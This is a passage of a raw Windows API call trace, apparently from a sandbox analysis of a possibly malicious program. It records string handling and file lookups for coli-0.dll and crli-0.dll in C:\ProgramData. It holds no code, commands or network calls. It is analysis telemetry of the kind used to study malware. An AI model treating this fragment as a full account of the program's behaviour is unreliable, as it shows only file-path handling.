cchLength=0x19 | out: lpsz="c:\\programdata\\coli-0.dll") returned 0x19 [0118.273] SysReAllocStringLen (in: pbstr=0x471b84*=0x0, psz="c:\\programdata\\coli-0.dll", len=0x19 | out: pbstr=0x471b84*="c:\\programdata\\coli-0.dll") returned 1 [0118.273] SysReAllocStringLen (in: pbstr=0x471b88*=0x0, psz="c:", len=0x2 | out: pbstr=0x471b88*="c:") returned 1 [0118.273] SysReAllocStringLen (in: pbstr=0x47273c*=0x0, psz="programdata", len=0xb | out: pbstr=0x47273c*="programdata") returned 1 [0118.273] SysReAllocStringLen (in: pbstr=0x47275c*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x47275c*="coli-0.dll") returned 1 [0118.273] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.273] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="coli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coli-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.274] CharLowerBuffW (in: lpsz="c:\\programdata\\coli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\coli-0.dll") returned 0x19 [0118.274] SysReAllocStringLen (in: pbstr=0x47276c*=0x0, psz="c:\\programdata\\coli-0.dll", len=0x19 | out: pbstr=0x47276c*="c:\\programdata\\coli-0.dll") returned 1 [0118.274] SysReAllocStringLen (in: pbstr=0x472770*=0x0, psz="c:", len=0x2 | out: pbstr=0x472770*="c:") returned 1 [0118.274] SysReAllocStringLen (in: pbstr=0x472790*=0x0, psz="programdata", len=0xb | out: pbstr=0x472790*="programdata") returned 1 [0118.274] SysReAllocStringLen (in: pbstr=0x4727b0*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x4727b0*="coli-0.dll") returned 1 [0118.274] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadllawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.274] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="coli-0.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coli-0.dlladllawr45w", lpUsedDefaultChar=0x0) returned 10 [0118.275] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.275] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.275] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.275] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.275] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.275] GetLastError () returned 0x12 [0118.275] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.275] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.275] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.275] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="coli-0.dll", len=0xa | out: pbstr=0x28ef0c*="coli-0.dll") returned 1 [0118.275] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\coli-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be78f0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be78f0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bea000, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="coli-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.275] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.275] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.276] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.276] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\coli-0.dll", len=0x16 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\coli-0.dll") returned 1 [0118.276] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\coli-0.dll", psz="c:\\PROGRA~3\\coli-0.dll\\", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\coli-0.dll\\") returned 1 [0118.276] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\coli-0.dll\\", len=0x17 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\coli-0.dll\\") returned 1 [0118.276] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\coli-0.dll\\", psz="c:\\PROGRA~3\\coli-0.dll", len=0x16 | out: pbstr=0x28f210*="c:\\PROGRA~3\\coli-0.dll") returned 1 [0118.276] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\coli-0.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\coli-0.dll") returned 0x16 [0118.277] SysReAllocStringLen (in: pbstr=0x47276c*=0x0, psz="c:\\progra~3\\coli-0.dll", len=0x16 | out: pbstr=0x47276c*="c:\\progra~3\\coli-0.dll") returned 1 [0118.277] SysReAllocStringLen (in: pbstr=0x472770*=0x0, psz="c:", len=0x2 | out: pbstr=0x472770*="c:") returned 1 [0118.277] SysReAllocStringLen (in: pbstr=0x472790*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x472790*="progra~3") returned 1 [0118.277] SysReAllocStringLen (in: pbstr=0x4727b0*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x4727b0*="coli-0.dll") returned 1 [0118.277] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3llaume1", lpUsedDefaultChar=0x0) returned 8 [0118.277] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="coli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coli-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.277] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4727d8, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB2291A.TMP⍔vバt☘E\x18") returned 12 [0118.277] CharLowerBuffW (in: lpsz="EVB2291A.TMP", cchLength=0xc | out: lpsz="evb2291a.tmp") returned 0xc [0118.278] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.278] FindFirstFileW (in: lpFileName="c:\\programdata\\evb2291a.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bea000, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x2600, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x6f0063, nFileSizeLow=0x69006c, dwReserved0=0x30002d, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A舼uA((")) returned 0xffffffff [0118.278] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.278] SysReAllocStringLen (in: pbstr=0x28f258*="evb2291a.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.278] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.278] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.278] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.278] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="coli-0.dll", len=0xa | out: pbstr=0x28f1cc*="coli-0.dll") returned 1 [0118.278] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\coli-0.dll", len=0x2e | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\coli-0.dll") returned 1 [0118.278] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\", len=0x2f | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\") returned 1 [0118.278] SysReAllocStringLen (in: pbstr=0x472648*=0x0, psz="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\", len=0x2f | out: pbstr=0x472648*="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\") returned 1 [0118.278] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\") returned 0x2f [0118.278] SysReAllocStringLen (in: pbstr=0x4727f0*=0x0, psz="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\", len=0x2f | out: pbstr=0x4727f0*="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\") returned 1 [0118.279] SysReAllocStringLen (in: pbstr=0x472814*=0x0, psz="device", len=0x6 | out: pbstr=0x472814*="device") returned 1 [0118.279] SysReAllocStringLen (in: pbstr=0x472834*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472834*="harddiskvolume1") returned 1 [0118.279] SysReAllocStringLen (in: pbstr=0x472840*=0x0, psz="programdata", len=0xb | out: pbstr=0x472840*="programdata") returned 1 [0118.279] SysReAllocStringLen (in: pbstr=0x47284c*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x47284c*="coli-0.dll") returned 1 [0118.279] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\coli-0.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.279] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.279] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.279] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.279] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="coli-0.dll", len=0xa | out: pbstr=0x28f1c0*="coli-0.dll") returned 1 [0118.279] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\coli-0.dll", len=0x2b | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\coli-0.dll") returned 1 [0118.279] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\") returned 1 [0118.279] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\") returned 0x2c [0118.279] SysReAllocStringLen (in: pbstr=0x47285c*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\", len=0x2c | out: pbstr=0x47285c*="\\device\\harddiskvolume1\\progra~3\\coli-0.dll\\") returned 1 [0118.280] SysReAllocStringLen (in: pbstr=0x472880*=0x0, psz="device", len=0x6 | out: pbstr=0x472880*="device") returned 1 [0118.280] SysReAllocStringLen (in: pbstr=0x4728a0*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4728a0*="harddiskvolume1") returned 1 [0118.280] SysReAllocStringLen (in: pbstr=0x4728ac*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x4728ac*="progra~3") returned 1 [0118.280] SysReAllocStringLen (in: pbstr=0x4728b8*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x4728b8*="coli-0.dll") returned 1 [0118.280] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.280] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.280] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.280] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x28f23c*="crli-0.dll") returned 1 [0118.280] CharLowerBuffW (in: lpsz="crli-0.dll", cchLength=0xa | out: lpsz="crli-0.dll") returned 0xa [0118.280] SysReAllocStringLen (in: pbstr=0x28f240*="crli-0.dll", psz="crli-0.dll", len=0xa | out: pbstr=0x28f240*="crli-0.dll") returned 1 [0118.280] SysReAllocStringLen (in: pbstr=0x472910*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472910*="crli-0.dll") returned 1 [0118.280] SysReAllocStringLen (in: pbstr=0x472914*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472914*="crli-0.dll") returned 1 [0118.280] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.280] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.280] CharLowerBuffW (in: lpsz="c:\\programdata\\crli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\crli-0.dll") returned 0x19 [0118.280] SysReAllocStringLen (in: pbstr=0x472918*=0x0, psz="c:\\programdata\\crli-0.dll", len=0x19 | out: pbstr=0x472918*="c:\\programdata\\crli-0.dll") returned 1 [0118.281] CharLowerBuffW (in: lpsz="c:\\programdata\\crli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\crli-0.dll") returned 0x19 [0118.281] SysReAllocStringLen (in: pbstr=0x4729f4*=0x0, psz="c:\\programdata\\crli-0.dll", len=0x19 | out: pbstr=0x4729f4*="c:\\programdata\\crli-0.dll") returned 1 [0118.281] SysReAllocStringLen (in: pbstr=0x4729f8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4729f8*="c:") returned 1 [0118.281] SysReAllocStringLen (in: pbstr=0x472a18*=0x0, psz="programdata", len=0xb | out: pbstr=0x472a18*="programdata") returned 1 [0118.281] SysReAllocStringLen (in: pbstr=0x472a38*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472a38*="crli-0.dll") returned 1 [0118.281] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.281] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dllawr45w", lpUsedDefaultChar=0x0) returned 10 [0118.281] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.281] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.281] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.281] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.281] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.282] GetLastError () returned 0x12 [0118.282] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.282] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.282] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.282] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="crli-0.dll", len=0xa | out: pbstr=0x28ef0c*="crli-0.dll") returned 1 [0118.282] FindFirstFileW (in: lpFileName="c:\\ProgramData\\crli-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bea000, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bea000, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bea000, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="crli-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.282] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.282] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.282] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.282] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\crli-0.dll", len=0x19 | out: pbstr=0x28ef00*="c:\\ProgramData\\crli-0.dll") returned 1 [0118.283] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\crli-0.dll", psz="c:\\ProgramData\\crli-0.dll\\", len=0x1a | out: pbstr=0x28f214*="c:\\ProgramData\\crli-0.dll\\") returned 1 [0118.283] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\crli-0.dll\\", len=0x1a | out: pbstr=0x28eefc*="c:\\ProgramData\\crli-0.dll\\") returned 1 [0118.283] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\crli-0.dll\\", psz="c:\\ProgramData\\crli-0.dll", len=0x19 | out: pbstr=0x28f214*="c:\\ProgramData\\crli-0.dll") returned 1 [0118.283] CharLowerBuffW (in: lpsz="c:\\ProgramData\\crli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\crli-0.dll") returned 0x19 [0118.283] SysReAllocStringLen (in: pbstr=0x4729f4*=0x0, psz="c:\\programdata\\crli-0.dll", len=0x19 | out: pbstr=0x4729f4*="c:\\programdata\\crli-0.dll") returned 1 [0118.283] SysReAllocStringLen (in: pbstr=0x4729f8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4729f8*="c:") returned 1 [0118.284] SysReAllocStringLen (in: pbstr=0x472a18*=0x0, psz="programdata", len=0xb | out: pbstr=0x472a18*="programdata") returned 1 [0118.331] SysReAllocStringLen (in: pbstr=0x472a38*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472a38*="crli-0.dll") returned 1 [0118.331] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.331] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.332] CharLowerBuffW (in: lpsz="c:\\programdata\\crli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\crli-0.dll") returned 0x19 [0118.332] SysReAllocStringLen (in: pbstr=0x472a48*=0x0, psz="c:\\programdata\\crli-0.dll", len=0x19 | out: pbstr=0x472a48*="c:\\programdata\\crli-0.dll") returned 1 [0118.332] SysReAllocStringLen (in: pbstr=0x472a4c*=0x0, psz="c:", len=0x2 | out: pbstr=0x472a4c*="c:") returned 1 [0118.332] SysReAllocStringLen (in: pbstr=0x472a6c*=0x0, psz="programdata", len=0xb | out: pbstr=0x472a6c*="programdata") returned 1 [0118.332] SysReAllocStringLen (in: pbstr=0x472a8c*=0x0, psz="crli-0.dll", len=0xa | out: pbstr=0x472a8c*="crli-0.dll") returned 1 [0118.332] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadllawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.332] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="crli-0.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crli-0.dlladllawr45w", lpUsedDefaultChar=0x0) returned 10 [0118.334] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.334] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.334] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.334] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.335] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.335] GetLastError () returned 0x12 [0118.335] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.335] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.336] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.336] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="crli-0.dll", len=0xa | out: pbstr=0x28ef0c*="crli-0.dll") returned 1 [0118.336] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\crli-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bea000, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bea000, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bea000, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="crli-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.336] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.336] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.336] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.337] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\crli-0.dll", len=0x16 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\crli-0.dll") returned 